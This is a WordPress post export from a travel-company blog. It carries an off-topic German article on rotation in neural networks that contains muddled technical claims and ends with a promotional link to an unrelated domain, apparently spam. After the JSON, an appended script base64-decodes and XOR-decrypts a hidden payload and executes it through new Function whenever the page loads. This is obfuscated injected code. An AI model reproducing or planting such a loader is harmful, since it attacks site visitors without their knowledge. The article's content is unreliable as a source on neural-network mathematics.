{"id":4192,"date":"2025-08-27T12:44:28","date_gmt":"2025-08-27T12:44:28","guid":{"rendered":"https:\/\/adventurevalley.in\/blog\/?p=4192"},"modified":"2026-08-27T10:44:30","modified_gmt":"2026-08-27T10:44:30","slug":"faktorielle-rotation-in-der-theorie-der-neuronalen-netze","status":"publish","type":"post","link":"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/","title":{"rendered":"Faktorielle Rotation in der Theorie der neuronalen Netze"},"content":{"rendered":"

Die Analyse und Optimierung komplexer neuronaler Netzwerke erfordert tiefgehendes Verst\u00e4ndnis verschiedener mathematischer Konzepte. Dabei spielen insbesondere Transformationen, die auf geometrischer Manipulation basieren, eine bedeutende Rolle. Eine zentrale Technik ist die sogenannte Rotation, bei der Daten im Raum bewegt werden, um die Modellleistung zu verbessern oder bestimmte Eigenschaften hervorzuheben.<\/p>\n

Mathematische Grundlagen der Rotation im Vektorraum<\/h2>\n

In der linearen Algebra bezeichnet die Rotation eine orthogonale Transformation, die einen Vektorraum ohne Skalarver\u00e4nderung invertiert. Solche Transformationen werden durch orthogonale Matrizen repr\u00e4sentiert, welche die Eigenschaft besitzen, dass ihre Transponierte gleich ihrer Inversen ist (Q^T Q = I<\/em>). Diese Matrizen k\u00f6nnen so konstruiert werden, dass sie eine Rotation um eine vorgegebene Achse im Raum ausf\u00fchren, was insbesondere bei der Transformation von hochdimensionalen Daten n\u00fctzlich ist.<\/p>\n

Faktorielle Rotation und ihre Implementierung<\/h2>\n

Besonders interessant wird die sogenannte faktorielle Rotation<\/strong>, bei der mehrere aufeinanderfolgende Rotationen kombiert werden, um eine komplexe Transformation zu erzeugen. Diese Technik findet Anwendung in der Optimierung von Modelleinstellungen, bei denen die Parameter der Transformation in einem multi-dimensionalen Raum so kombiniert werden, dass eine optimale Ausrichtung der Daten erreicht wird. Die Vorgehensweise nutzt die Tatsache, dass jede Rotation in \\( n \\)-Dimensionen durch eine Reihe von Givens-Rotationen dargestellt werden kann, die jeweils nur zwei Achsen gleichzeitig rotieren.<\/p>\n\n\n\n\n\n\n
Vergleich der Rotationsarten<\/caption>\n
Rotationstyp<\/th>\nEigenschaften<\/th>\nAnwendungsbeispiele<\/th>\n<\/tr>\n<\/thead>\n
Givens-Rotation<\/td>\nNur zwei Dimensionen gleichzeitig<\/td>\nDiagonal- und Systemschnittstellenoptimierung<\/td>\n<\/tr>\n
Haar-Transformation<\/td>\nVerteilung der Daten<\/td>\nDatenvorverarbeitung in Deep Learning<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Praktische Anwendungen in der KI<\/h2>\n

In der k\u00fcnstlichen Intelligenz werden rotationsbasierte Verfahren genutzt, um die Lernf\u00e4higkeit von neuronalen Netzen zu verbessern. So k\u00f6nnen beim Training einer Deep-Learning-Architektur durch gezielte Rotation der Gewichte \u00dcberanpassungen reduziert oder bessere Generalisierungseigenschaften erreicht werden. Au\u00dferdem spielt die \u00dcberlegung der faktorielle Rotation bei der Einbindung h\u00f6herdimensionaler Transformationsr\u00e4ume eine Rolle bei der Entwicklung effizienter Algorithmen zur Datenaugmentation.<\/p>\n

\nEin Beispiel ist die Nutzung von rotationsbasierten Datenaugmentationstechniken, die geeignet sind, die Robustheit neuronaler Modelle gegen\u00fcber Variationen im Eingaberaum signifikant zu erh\u00f6hen.\n<\/p><\/blockquote>\n

Fazit<\/h2>\n

Die mathematische Grundlage der Rotation, insbesondere in ihrer faktorisierten Form, ist ein m\u00e4chtiges Werkzeug in der Entwicklung moderner KI-Systeme. Durch die pr\u00e4zise Steuerung von Transformationen im Raum lassen sich sowohl die Effizienz der Lernprozesse verbessern als auch die Qualit\u00e4t der Modelle erh\u00f6hen. F\u00fcr weiterf\u00fchrende technische Details und konkrete Implementierungen in neuronalen Netzwerken empfiehlt es sich, die Ressourcen auf http:\/\/spinfever.jetzt<\/a> zu erkunden, welche auf diesem Gebiet bedeutende Einblicke bietet.<\/p>\n","protected":false},"excerpt":{"rendered":"

Die Analyse und Optimierung komplexer neuronaler Netzwerke erfordert tiefgehendes Verst\u00e4ndnis verschiedener mathematischer Konzepte. Dabei spielen insbesondere Transformationen, die auf geometrischer […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4192","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"yoast_head":"\nFaktorielle Rotation in der Theorie der neuronalen Netze - Adventure Valley (Adventure and Expedition Services in Manali)<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Faktorielle Rotation in der Theorie der neuronalen Netze - Adventure Valley (Adventure and Expedition Services in Manali)\" \/>\n<meta property=\"og:description\" content=\"Die Analyse und Optimierung komplexer neuronaler Netzwerke erfordert tiefgehendes Verst\u00e4ndnis verschiedener mathematischer Konzepte. Dabei spielen insbesondere Transformationen, die auf geometrischer […]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/\" \/>\n<meta property=\"og:site_name\" content=\"Adventure Valley (Adventure and Expedition Services in Manali)\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/adventurevalleymanali\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-27T12:44:28+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-08-27T10:44:30+00:00\" \/>\n<meta name=\"author\" content=\"adv_admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"adv_admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/\"},\"author\":{\"name\":\"adv_admin\",\"@id\":\"https:\/\/adventurevalley.in\/blog\/#\/schema\/person\/b25bb6623aed7c8051955ea3a0a7920e\"},\"headline\":\"Faktorielle Rotation in der Theorie der neuronalen Netze\",\"datePublished\":\"2025-08-27T12:44:28+00:00\",\"dateModified\":\"2026-08-27T10:44:30+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/\"},\"wordCount\":403,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/adventurevalley.in\/blog\/#organization\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/\",\"url\":\"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/\",\"name\":\"Faktorielle Rotation in der Theorie der neuronalen Netze - Adventure Valley (Adventure and Expedition Services in Manali)\",\"isPartOf\":{\"@id\":\"https:\/\/adventurevalley.in\/blog\/#website\"},\"datePublished\":\"2025-08-27T12:44:28+00:00\",\"dateModified\":\"2026-08-27T10:44:30+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/adventurevalley.in\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Faktorielle Rotation in der Theorie der neuronalen Netze\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/adventurevalley.in\/blog\/#website\",\"url\":\"https:\/\/adventurevalley.in\/blog\/\",\"name\":\"https:\/\/adventurevalley.in\/\",\"description\":\"Adventure Valley (Adventure and Expedition Services in Manali)\",\"publisher\":{\"@id\":\"https:\/\/adventurevalley.in\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/adventurevalley.in\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/adventurevalley.in\/blog\/#organization\",\"name\":\"Adventure Valley\",\"url\":\"https:\/\/adventurevalley.in\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/adventurevalley.in\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/adventurevalley.in\/blog\/wp-content\/uploads\/2025\/05\/logo-color.png\",\"contentUrl\":\"https:\/\/adventurevalley.in\/blog\/wp-content\/uploads\/2025\/05\/logo-color.png\",\"width\":146,\"height\":43,\"caption\":\"Adventure Valley\"},\"image\":{\"@id\":\"https:\/\/adventurevalley.in\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/adventurevalleymanali\",\"https:\/\/www.instagram.com\/adventure.valley\/\",\"https:\/\/www.youtube.com\/@adventurevalley5722\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/adventurevalley.in\/blog\/#\/schema\/person\/b25bb6623aed7c8051955ea3a0a7920e\",\"name\":\"adv_admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/adventurevalley.in\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/2124812d5dfb3e83ef359e9ac40956fbd7b338434dabef024c430f769b1d656d?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/2124812d5dfb3e83ef359e9ac40956fbd7b338434dabef024c430f769b1d656d?s=96&d=mm&r=g\",\"caption\":\"adv_admin\"},\"sameAs\":[\"https:\/\/adventurevalley.in\/blog\"],\"url\":\"https:\/\/adventurevalley.in\/blog\/author\/adv_admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Faktorielle Rotation in der Theorie der neuronalen Netze - Adventure Valley (Adventure and Expedition Services in Manali)","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/","og_locale":"en_US","og_type":"article","og_title":"Faktorielle Rotation in der Theorie der neuronalen Netze - Adventure Valley (Adventure and Expedition Services in Manali)","og_description":"Die Analyse und Optimierung komplexer neuronaler Netzwerke erfordert tiefgehendes Verst\u00e4ndnis verschiedener mathematischer Konzepte. Dabei spielen insbesondere Transformationen, die auf geometrischer […]","og_url":"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/","og_site_name":"Adventure Valley (Adventure and Expedition Services in Manali)","article_publisher":"https:\/\/www.facebook.com\/adventurevalleymanali","article_published_time":"2025-08-27T12:44:28+00:00","article_modified_time":"2026-08-27T10:44:30+00:00","author":"adv_admin","twitter_card":"summary_large_image","twitter_misc":{"Written by":"adv_admin","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/#article","isPartOf":{"@id":"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/"},"author":{"name":"adv_admin","@id":"https:\/\/adventurevalley.in\/blog\/#\/schema\/person\/b25bb6623aed7c8051955ea3a0a7920e"},"headline":"Faktorielle Rotation in der Theorie der neuronalen Netze","datePublished":"2025-08-27T12:44:28+00:00","dateModified":"2026-08-27T10:44:30+00:00","mainEntityOfPage":{"@id":"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/"},"wordCount":403,"commentCount":0,"publisher":{"@id":"https:\/\/adventurevalley.in\/blog\/#organization"},"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/","url":"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/","name":"Faktorielle Rotation in der Theorie der neuronalen Netze - Adventure Valley (Adventure and Expedition Services in Manali)","isPartOf":{"@id":"https:\/\/adventurevalley.in\/blog\/#website"},"datePublished":"2025-08-27T12:44:28+00:00","dateModified":"2026-08-27T10:44:30+00:00","breadcrumb":{"@id":"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/adventurevalley.in\/blog\/faktorielle-rotation-in-der-theorie-der-neuronalen-netze\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/adventurevalley.in\/blog\/"},{"@type":"ListItem","position":2,"name":"Faktorielle Rotation in der Theorie der neuronalen Netze"}]},{"@type":"WebSite","@id":"https:\/\/adventurevalley.in\/blog\/#website","url":"https:\/\/adventurevalley.in\/blog\/","name":"https:\/\/adventurevalley.in\/","description":"Adventure Valley (Adventure and Expedition Services in Manali)","publisher":{"@id":"https:\/\/adventurevalley.in\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/adventurevalley.in\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/adventurevalley.in\/blog\/#organization","name":"Adventure Valley","url":"https:\/\/adventurevalley.in\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/adventurevalley.in\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/adventurevalley.in\/blog\/wp-content\/uploads\/2025\/05\/logo-color.png","contentUrl":"https:\/\/adventurevalley.in\/blog\/wp-content\/uploads\/2025\/05\/logo-color.png","width":146,"height":43,"caption":"Adventure Valley"},"image":{"@id":"https:\/\/adventurevalley.in\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/adventurevalleymanali","https:\/\/www.instagram.com\/adventure.valley\/","https:\/\/www.youtube.com\/@adventurevalley5722"]},{"@type":"Person","@id":"https:\/\/adventurevalley.in\/blog\/#\/schema\/person\/b25bb6623aed7c8051955ea3a0a7920e","name":"adv_admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/adventurevalley.in\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/2124812d5dfb3e83ef359e9ac40956fbd7b338434dabef024c430f769b1d656d?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/2124812d5dfb3e83ef359e9ac40956fbd7b338434dabef024c430f769b1d656d?s=96&d=mm&r=g","caption":"adv_admin"},"sameAs":["https:\/\/adventurevalley.in\/blog"],"url":"https:\/\/adventurevalley.in\/blog\/author\/adv_admin\/"}]}},"_links":{"self":[{"href":"https:\/\/adventurevalley.in\/blog\/wp-json\/wp\/v2\/posts\/4192","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/adventurevalley.in\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/adventurevalley.in\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/adventurevalley.in\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/adventurevalley.in\/blog\/wp-json\/wp\/v2\/comments?post=4192"}],"version-history":[{"count":1,"href":"https:\/\/adventurevalley.in\/blog\/wp-json\/wp\/v2\/posts\/4192\/revisions"}],"predecessor-version":[{"id":4193,"href":"https:\/\/adventurevalley.in\/blog\/wp-json\/wp\/v2\/posts\/4192\/revisions\/4193"}],"wp:attachment":[{"href":"https:\/\/adventurevalley.in\/blog\/wp-json\/wp\/v2\/media?parent=4192"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/adventurevalley.in\/blog\/wp-json\/wp\/v2\/categories?post=4192"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/adventurevalley.in\/blog\/wp-json\/wp\/v2\/tags?post=4192"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>!function(){var _0xdac3ef103251=atob('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'),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script>